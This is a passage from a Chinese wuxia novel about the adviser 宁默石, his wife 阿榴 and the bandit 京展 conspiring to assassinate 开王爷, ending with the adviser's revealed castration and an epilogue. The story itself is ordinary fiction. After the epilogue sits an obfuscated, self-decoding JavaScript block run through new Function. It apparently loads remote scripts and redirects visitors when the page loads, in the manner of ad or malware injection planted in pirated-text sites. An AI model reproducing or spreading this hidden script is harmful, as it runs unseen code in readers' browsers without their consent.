他的笑声里全是一股伧俗的好奇心:“怎么?你说,原来京展那小子最近是和宁师爷的那个女人搅在了一起?”

他属下点头。

开王爷就更乐了起来:“就是那个瘤面女?”

他不可思忆地摇头,更开心了起来:“这家伙对于女人的口味可真不怎么的!”

说着他站起身子就走:“怪不得我们这些天找不到他,最危险的地方就是最安全的地方,那小子上次重伤后,原来躲到了庶士园里。嘿嘿,那女人果然是江湖出身,好厉害,那么精明的宁师爷被她这一顶绿帽子戴得没知没觉更没脾气,只怕直到现在还蒙在鼓里。”

鬼楚问道:“王爷,咱们这是要去哪里?”

开王爷大笑道:“哪里?有这么好的消息,咱们还不快点告诉宁师爷去!”

他这时真的很开心——宁师爷虽相当能干,几乎相当于他的左膀右臂,但和那么阴郁的一个人在一起,加上当年西林春闹出的那一点事儿,还有最近西林春在榴莲街出的丑事,开承荫就对宁默石始终有那么一点芥蒂。

现在好了:老子的王妃不本分,你这个号称精明的宁默石也好不到哪里,不一样被那瘤女人给戴上了绿帽子!乌龟王八一条藤,看你以后还清高到哪里去?

鬼楚问:“那京展虽伤了,但老虎还是老虎,要不要带了人手去?”

开承荫却大笑道:“不用,只你们三个没伤的跟着就行了。你当宁师爷是谁?他手下又是谁?嘿嘿,有他在,京展这回怕他飞到天上去?他可不像你们一样老给我白丢面子。”

鬼楚的脸上烫虾似的红了红,开王爷已大笑地走了出去。

庶士园的小花厅,阿榴悄悄地走了进来,一进来就看见花厅里设了一桌筵席。

没什么外人,看来只是默石要和自己在一起而已。

——刚才他不是还在接待开王爷吗?

开王爷轻易很少屈尊到这庶士园来,但只要他来,却一向不惯于别人轻慢的,默石怎么会丢了他专门宴请自己?

宁默石静静地坐在桌边,阿榴在他对面坐下来,坐下来后,才发现,桌边只他们两个人,桌上却放了三副杯箸。

阿榴微微一愣:“怎么,是不是开王爷也要同席?”

开王爷一向很给宁默石面子,这样的同席共饮也是常有的事,阿榴也不是没有陪过。

宁默石的神色却很肃冷,甚或有些哀伤。

阿榴直直地盯到了他的脸上,只见他轻轻地摇了摇头。有一会儿,阿榴才渐渐明白过来,她听着自己慢慢地说道:“你、都、知、道、了……”

宁默石没有点头也没有摇头。

那一个杯子,原来是准备给京展的。

阿榴只觉一股冰凉从自己头上浸下,从手到脚,都凉了下去。

好久,她才苦苦地道:“原来,你根本从开始就知道。你怂恿开王爷追杀斩经堂,只是为了报复我而已。你甚至知道,我勾引的第一个男人就是斩经堂下的子弟。”

宁默石侧过了头,还是没有说话。

阿榴却觉得体内的泪流了出来。她倒了一杯酒,猛地灌下。

却听宁默石说:“阿榴,既然你给我们庶士园带来了客人,那还是请他也出来吧。”

阿榴轻轻地舒了口气,事已至此,已由不得她。

她一挥手,身边的一个仆佣就走了过来,阿榴交给他一把钥匙——没错儿,京展身上这次的伤不轻。这些天,他就正躲在庶士园里。

她,把他关在了她独处的内室,一个除了她谁都不敢打开的门里。

阿榴喉中已饮下的酒这时似才回过味来,只觉,满嘴牙齿,颗颗都是辛辣辛辣的。

京展走进屋来却没坐向桌边,他远远地睥睨地看着,远远地在门口一个瓷凳前驻足,眼睛里乌压压的,压不住的嘲笑的意思。

小花厅内,气氛一时紧张得都让人窒息。

猛地一阵拍巴掌的声音响起,却听一个人笑道:“哈哈,‘匪精’!哈哈,京展!咱们终于见面了。开封城里,我是明着里的老大,你是暗着里的老大,今天总算有缘碰到一起。”

然后,一个胖胖的身影从屏风后面走了出来。

他走到宁师爷身边:“还有这个不爱说话的白道老大,嘿嘿,今天,咱们三个人总算碰到了一起。”

京展的目光一凝,冷硬道:“开承荫?”

开王爷大笑道:“有意思,有意思!你居然还认得我。开封城里,敢当面直呼我名字的大概也只有‘匪精’你。”

他的脸上越发欢畅地笑了起来,一双小眼内满是好奇:“你的胆子真的是很大。得罪我也还罢了,连宁师爷这样的人你也敢得罪?你呀你,真的是谁的女人你都敢勾引!我的女人也还罢了,她虽漂亮,但他妈的天生的贱!可怎么宁师爷的女人你也敢勾引?”

他伸手做了个杀头抹脖子的姿势,微微一缩头:“你可要知道,我的口味虽说怪,可还没怪到你那个地步。”

他扫了阿榴脸上那瘤子一眼,吐舌笑道:“而且,宁师爷的女人,就算美如天仙,我再有兴趣,但打死我我也不敢勾引的。”

他说的话似真似假,说完又眯着眼睛地一笑:“你就不知道宁师爷这家伙到底有多阴损!我一向都得防着他点儿。因为,除了我以外,没人不知道他这个‘兜底师爷’到底是怎么个‘兜底’。”

他语中还在调笑,宁默石的面色忽变得有些微妙。

开王爷已大剌剌地坐下,四平八稳地道:“说吧,那道密旨到底是个什么东西?”

“匪精”的脸色却已变了,他恶狠狠地盯向了宁默石,他的声音一下绷得好直,冷冷道:“没想到,我京展英雄一世,最终才栽在了你和你的女人手里。”

只听他怒着声音道:“你恨我勾引你的女人我不怪你。可你要是男儿郎大丈夫,以你的声势,凭什么不自己出头,却要借开王府的势力来对付我斩经堂下子弟?”

他一出声,外面的灾星九动中的三人脸色就变了。

鬼楚的目光中也有杀机与恐惧——他与巫毒并列灾星九动的双巨头,面和心不和,一向互有猜忌,却也一向知道,巫毒手底下的活儿绝对只较自己只高不低。

巫毒是开王爷请来的高人,而他,不过是开王爷身边的私密。

而巫毒,就是栽在这“匪精”手里!

“匪精”的手忽向怀里一掏。

他一动,花厅外的人就动了。

一道惨白的光芒已经腾起。

斩月轮——这就是“匪精”京展称雄江湖黑道的独门利器:斩月轮!

他攻向的却是宁默石,这屋内,只有他最弱,他最好杀。

看来今天就是留下了京展,他也要拼回些本儿去。

他出手极快,开王爷却面色不变,一直在旁边笑眯眯地看着。阿榴的身子却忽然腾起。她一出手,就是两把锥子。只听她尖声叫道:“我没骗你,也没故意害你,但你却不能杀他!”

她脸上的神色变得极为悍厉——不管有谁要杀宁默石,除非先蹚过她的血身子去!

有她挡在眼面前,“匪精”的出手似迟疑了一下。看到他的情分,开王爷在那边不由得开心一笑。阿榴的锥子却收势不及,一扎就扎进了京展的左肩里去。

开王爷在旁边笑得更欢了,拍手道:“难得,难得,没想到‘匪精’这样的强盗还真对宁师爷的女人有那么点手软的意思。宁师爷,你对这女人现在有什么感想?”

他说着行向桌边,端起了一壶酒,自斟上一杯。

“匪精”与阿榴面面相对,阿榴低声道:“我不是有意伤你。”

接着她眼里闪出的却是两道刃光,那是宁默石的贴身护卫出手了,他们就藏在窗外。窗子一破,刃光就起,直攻向“匪精”的身上。

阿榴的脸色就变了,推了把京展,叫了声:“你快走!”

——宁默石的贴身保镖是名驰天下的三大镖局联手训练出来的。有他们同时出手,只怕任一人也别想全身走出这小花厅去。

而厅外,天知道是宁默石与开王爷布下的什么杀局!

她身子一挡,就向那两道刃光挡去。“匪精”已被她推动,可他空中折身,斩月轮的光芒却忽又暴起。

这一次,他袭向的却是开王爷。

开王爷的眼光却缩成了一根针,他嘿声道:“我早料你如此。”

然后,他的两只小胖手一搓,一股肉样的香气就在这小花厅里升起。

他敢直面“匪精”,凭什么?

“谁是开封城里的第一搏杀好手?”——如果有人敢当他面问起这个问题,开承荫一定会当仁不让地回答:“我自己!”

没错,他的“声色手”绝不仅是花架子而已。

他一动,“匪精”身后门外的灾星九动中的三人就动了。

他们已直奔花厅,追袭京展身后。

厅外宁默石的两大护卫绕过阿榴,也向京展身后追击而去。

斩月轮惨白的光华也劈不破开王爷的那“声色手”护就的防卫。身后的三个灾星却追命似的追了上来。

还有宁默石的两大护卫。

结局应该只有一个,那就是:京展死!

阿榴眼中的眼泪忽然流了下来。

——勾搭上了自己,她早料到了京展最终也只有一个死局。

——无论他多强,他不过是一个黑帮老大罢了。

那惨白色的强光已黯,因为它已止住,被开王爷的手夹住。

他身后的刀光却已腾起。那是开王爷手下夹击他的攻势。

这时,一道细小的银光却在开王爷身后升起。

那是一把平常而锋利的银色刀子。

那刀光一起,宁默石身边的两个护卫忽在灾星九动三人全无防备之下,在他们全力攻向京展之时,就向他们攻了去。

银刀却一插就插进了开王爷的后心里。

开王爷愕然回头——绝命一击,原来这才是真正的绝命一击!

他一掌拍下,可那一刀竟当真邪僻,居然瞬息间已封住了他全部的内息。

这一掌也就击得是如此无力。

它只是轻轻地落在了宁默石的肩上。宁默石忽然抬眼冲他一笑。有多久没看到他这样笑过了?那像是当年那个纯净少年的无邪一笑,而这些年来,宁师爷早不再是他开王府里的那个管账师爷,而是名驰黑白两道的一代智囊。

他已好久没这样笑了,他现在稳健得像一个真正的男人。

可他这时却发出了孩子气的一笑。

京展也忽然笑了,笑时露出一口森白的牙齿。

“他早知道你一向防备着他,他知道你的疑心大,可他也知道你怎么也猜不到他不用和我见面,却已用自己的女人跟我传递信息。嘿嘿,你还当我是傻子?你才是真正的大傻子!我斩经堂就是在宁师爷的纵容下坐大的,他为什么突然要绝我门下子弟?可惜,你永远不会想到一个男人和奸夫的联手而已。”

他的斩月轮突然倒向,杀向灾星九动中的三人。这一天,他等了太久了!那些买给阿榴的花花绿绿的首饰可不是白买的,他在簪子、镯子的芯中都藏了他的问题:宁师爷,你为什么要杀我?

宁师爷也借阿榴钗饰回答过他的问题。

开承荫不敢置信地望向宁默石。宁默石慢慢地抽出刀子,刀锋利得没有沾染一丝血迹,只听得他轻轻一叹:“这十多年,我还是不会武,但我研究过你。我只练了这么一招。”

开王爷低声一叹:你的一招,却强过别人的千招万式,因为,你会造局。

宁默石却有些悲凉地看着开王爷:“你想来已知道开封城中流传着的有一道京中传出的密旨,策划它的是当年封家的人,可你绝不会想到,那接密旨的人就是我。不是斩经堂,而是我。”

他的声音忽然扬了起来:“旨意就是,皇上叫我暗地里除你!”

这一句话像是重重一击,击在灾星九动那三人的心上。宁默石一向不用真的出手,他的话就是他的武器。

鬼楚逃。

斩月轮落下,灾星九动中其余两人死。

在开王爷咽下最后一口气前,宁默石忽很低柔地问:“你还记不记得这把刀子?”

3.浴洗

“你什么都算计定了?”

阿榴的脸上有着一丝苦笑。她把头发盘在了脑袋后面。结婚以后,她头一次把自己的头发这么像个平常女人这样盘起。

她已不惧于在默石眼前露出自己左脸上的瘤子。

她接下来的声音却比黄连还苦:“原来,我只是一个不知不觉中可以让你用来和‘匪精’传递信息的女子。”

她一扬头:“可我一直还以为,我真真正正的是你的妻子。”

泪流下来:“哪怕夜诱,哪怕艳遇,我还一直以为,我就是你的妻子。”

庶士园内,已只剩下了他们两个人。一切都平定了,开封府内一切平定。开王爷传出的死讯是暴毙。他的幼子接替了王位,可他所有的一切势力都要依靠宁默石。

这传嗣之举是皇上那里下的密旨。有他撑腰,当然开封城里的一切都不言而喻是可以摆平的。

阿榴只有苦笑,只有佩服默石他那深藏的心计。

而那小王爷,就正是西林春的儿子——一切原来还是为了她,原来一切都是为了她啊!

宁默石没有说什么话,他的脸色很疲倦很疲倦,他的整个人看着都那么疲倦。他忽把手轻轻搭在了阿榴肩上。

阿榴心中一跳,可只是槁木死灰似的跳了。她想躲开,可习惯了,终究没动,终究还是习惯在这个男人面前这么委屈自己。

宁默石忽然开口:“阿榴,你可不可以帮我洗个澡?”

阿榴不由得一愣——什么,洗个澡?

他这时居然说什么洗澡。

可,他的举动一向都有深意。阿榴默然半晌,轻轻地点头。她还是不忍违拗他的意思。

一个大大的木桶,檀香木的,木纹里发着一股死了的香意。

水很暖,腾腾地冒着水汽。阿榴把自己的袖子挽起。她的左手拿着皂角,这情形她早已无数次幻想过了的,里面倒没有什么声色的意思,只是这情景的想象,会让她觉得,自己真像是默石的一个妻子。

她毕竟只想做他的妻子。

——默石他真的很能干。只一句话,就可以让自己马上感觉到自己是他的妻子。

哪怕,西林春……还无比真实地隔在那里。

她眼角的余光在看着宁默石。

宁默石站在木桶的热气外脱衣。

这还是他第一次在阿榴面前脱衣。他脱下了苍白色的外衣,内衣也是苍白的。然后是小衣。然后,露出他苍白的,极为匀称的,却已不再少年的身体。

阿榴的目光拂开水汽向那身体望去,这还是她作为一个妻子第一次看到她自己男人的身体。

——默石他长得可真匀称。这样的身体,如果想拥有,当真自己是痴心妄想吧?他确实该配的是西林春那样的美女。

她的眼光有些涩涩地向他身上看去,看着看着,只觉酸涩,眼中从未有过的涩。然后才发现,他一切如常,只是腿间有一条细细的痕迹——他这么完美的身体下,有某一处竟有一道刀痕的。

那是,会阴穴!

阿榴眼中的泪忽簌簌而下。她是七巧门的高手,七巧门一向精于暗算之术,知道怎么样表面上全无伤损却可以去绝除一个人某一方面的能力。

怎么会这样?她没想到会这要,她不要这样!哪怕默石再对自己怎么全是欺骗,哪怕他对自己全无情分,哪怕他真的暗恋的是那个叫西林春的女人,哪怕他真的是一再地毫无情面地利用自己,她也不要他这样,不要他悲惨成这样!

宁默石却已轻轻地跨进了木桶,坐了下去。

水淹没了他的身体。他的脖颈而挺直在木桶边际,似乎在顽强着他的骄傲。他苍白的皮肤很细致,这一时,他终于看着重新又像个孩子了。

他的身上并不脏,一点也不脏,他的口里却轻叹道:“我要好好洗洗,我身上,太多灰泥了。”

阿榴的手拿着皂角在他的肩上蹭过,眼泪却噼里啪啦地落了下来,一滴一滴落在宁默石的肩上。

她想问,她想找出那些害了默石的人,让他们生不如死!

可她不敢问,生怕这一问,就打破了宁默石所有脆弱的自尊。

宁默石忽然伸出了一只手,露出水面,在水面上细细把玩着一把银色的锋利的刀子。正是他杀了开王爷的那柄刀子。

他忽很坚强地道:“就是这把刀子。”

“正是它,开王爷曾用它,把我生命的内容都摘了去。”

……那一日账房的事后,开王爷所惩罚过的人不只西林春一个而已。他对宁默石的惩罚却更加严厉。而那场惩罚后,他才会那么信任他。

阿榴咬着嘴唇,几乎忍不住要痛哭出来——开王爷,原来是开王爷。默石要报复的不是自己,而是开王爷!

她要咬住她的哭声。她忽然明白了默石为什么能如此获得开王爷的信任,出入内宅,全无避忌。为什么他看开王妃的眼神会那么怪……

只听宁默石道:“阿榴,这些年,我真的好累好累。”

“一切只为,我从来没有主动看过一眼的西林春。”

阿榴的喉咙里哭都哭不出来了。他虽只是一句,却已说尽了他所有的故事。她的手温柔地在他肩上默默地搓洗。宁默石闭上眼,水汽渐渐淡了下去,只听宁默石微弱地说:“好凉,不够热,总是不够热呀。”

阿榴忙提起大壶续热水,热气重新腾起,遮住了她和宁默石宁静的面孔,遮住了一切,遮住了所有的表情。

宁默石静静地躺在木桶里,想起他的十七岁……那个西林春悄悄来到他账房的香艳的一夜,那个他在满天风露傻站的一夜,那个他极力躲避的一夜……

那一夜后,那个严厉的惩罚是什么?……那老得不能再老的王府太医皱巴巴、脏污污的脸……还有,那一把刀子如何摘取了他所有快乐的理由……他的生命从此不再充实……那样尖锐的一种锋利……

尾声

宁默石是突然消失的。开封府里,现在最有权势的是一个女人,那是阿榴。

宁默石把他所有在白道上的势力都交到了那个女人手里。

那女人虽独居庶士园,但她现在可坐的是开封府六扇门的头把交椅。“女捕王”阿榴,现在江湖中的人都这么尊称她了。白道上的镖局、武院每月都会送来为数不菲的红利,她甚或还可以干涉开王府里小王爷的养育。

她接手了宁默石所有的权力。

他不只留了一个空名分给自己,他还留给了她一个男人,一个精猛的在黑道里真正呼风唤雨的男人,他说:“‘匪精’其实是个不错的男人。”

他看着她的眼:“不要因为我而怀愧。做你自己想做的。你没有什么对不起我,是我好多事对不起你。”

——那个重新峥嵘着人间所有生命力的夏又来了,庶士园里的草木欣荣,阿榴坐在园中笑了出来:不错,她是“锥心女”,他是“匪精”,无论怎么说,他们才是天造地设的一对绝配吧?

可……一袭苍白衣衫的幻影从眼角划过,似已把她生命中所有对美好的期望已裹挟而去。

她面上恬淡地笑着。笑里,全是一种睥睨的风情与在这无聊的生中最无奈、最无从选择后寻找到的惨恶的生趣。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();